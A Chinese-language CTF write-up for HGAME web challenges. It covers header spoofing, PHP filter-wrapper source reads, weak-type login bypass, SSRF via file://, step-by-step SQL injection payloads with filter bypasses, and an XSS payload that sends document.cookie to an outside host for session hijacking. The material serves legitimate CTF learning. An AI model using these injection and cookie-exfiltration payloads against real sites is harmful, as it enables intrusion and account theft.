因为是迁移过来的,图崩了的话看原帖:https://www.yuque.com/lola39/ax672a/qrk9f6
web—week—1:
》Cosmos 的博客
读题猜测git泄露信息:
解码可得flag。
》接头霸王
读题猜测,抓包修改头信息:
- Referer: https://vidar.club
- X-Forwarded-For: 127.0.0.1
- User-Agent: Cosmos/114514
- If-Unmodified-Since: Fri, 01 Jan 2077 00:00:00 GMT
HTTP协议中的
If-Unmodified-Since
消息头用于请求之中,使得当前请求成为条件式请求:只有当资源在指定的时间之后没有进行过修改的情况下,服务器才会返回请求的资源,或是接受POST
或其他 non-safe 方法的请求。如果所请求的资源在指定的时间之后发生了修改,那么会返回412
(Precondition Failed) 错误。
》Code World
打开出现一个403禁止页面,F12看到提示是jump到了这个页面,先抓包看一下:
发现最先跳转的是这个页面,改用POST请求出现如下界面
符号+会被解析为空格,所以进行url编码后再提交a=2%2b8
得到flag
》?尼泰玫
游戏结束对计分面板进行抓包:
修改分数为30001即可:
web—week—2:
》Cosmos的博客后台
题目提示我们博客没有用到数据库,应该是把密码和账号写在代码中了
观察url为应该是考察文件包含,尝试去访问config.php被过滤了
利用php伪协议去读取源码:http://cosmos-admin.hgame.day-day.work/index.php?action=php://filter/convert.base64-encode/resource=login.php
发现可以通过debug寻找信息
得知用户名为Cosmos!,密码为一串MD5加密密文:0e114902927253523756713132279690
利⽤php弱类型 可以用 s878926199a 进行绕过登录
admin.php 源码如下:
对我们上传的url进行了匹配,只允许上传指定域名的url,使用的函数为curl_exec(),我们可以使用file://协议去构造CSRF漏洞,直接读取flag,插入 file://localhost/flag 得到一串base64加密后的密文
》Cosmos的留言板-1
判断考察SQL注入,测试发现过滤了空格和"select"
空格使用/**/代替,select只过滤了一个所以使用双写绕过
具体步骤:
id=-1'/**/union/**/selselectect/**/database()/**/#
(得到数据库名为 easysql)
id=-1'/**/union/**/selselectect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='easysql'/**/#
(得到表名为 f1aggggggggggggg,messages)
id=-1'/**/union/**/selselectect/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='f1aggggggggggggg'/**/#
(得到字段名为 fl4444444g)
id=-1'/**/union/**/selselectect/**/fl4444444g/**/from/**/f1aggggggggggggg/**/#
(得到flag为 hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!})
》Cosmos的新语言
(复现看的官方wp):留⾔板过滤了所有闭合的html标签,即进⾏了⼀次 re.sub("</?[^>]+>", "", message)
这样的替换 之后过滤了script、iframe,并且消息全部转化为⼤写 可以选择⽤浏览器事件执⾏js,不闭合右标签, 浏览器会起到⾃动补全的作⽤,最后加注释,注释掉后⾯拼过来的, ⼤写可以使⽤编码绕 过,然后只要找个vps或者外带数据的平台接收cookie就可以了(PS: 有些师傅选择⽤jsfuck来绕⼤写,思 路是对的,只是后台bot⽤的selenium只⽀持get请求,jsfuck转换出来上万字符的payload就传不过去 了orz) payload:
<svg/onload=window.open('http://lola39.cn/cookie/index.php?cookie='+document.cookie);//
用python跑code:
在自己的vps上拿到bot的cookie后进行替换直接拿到flag: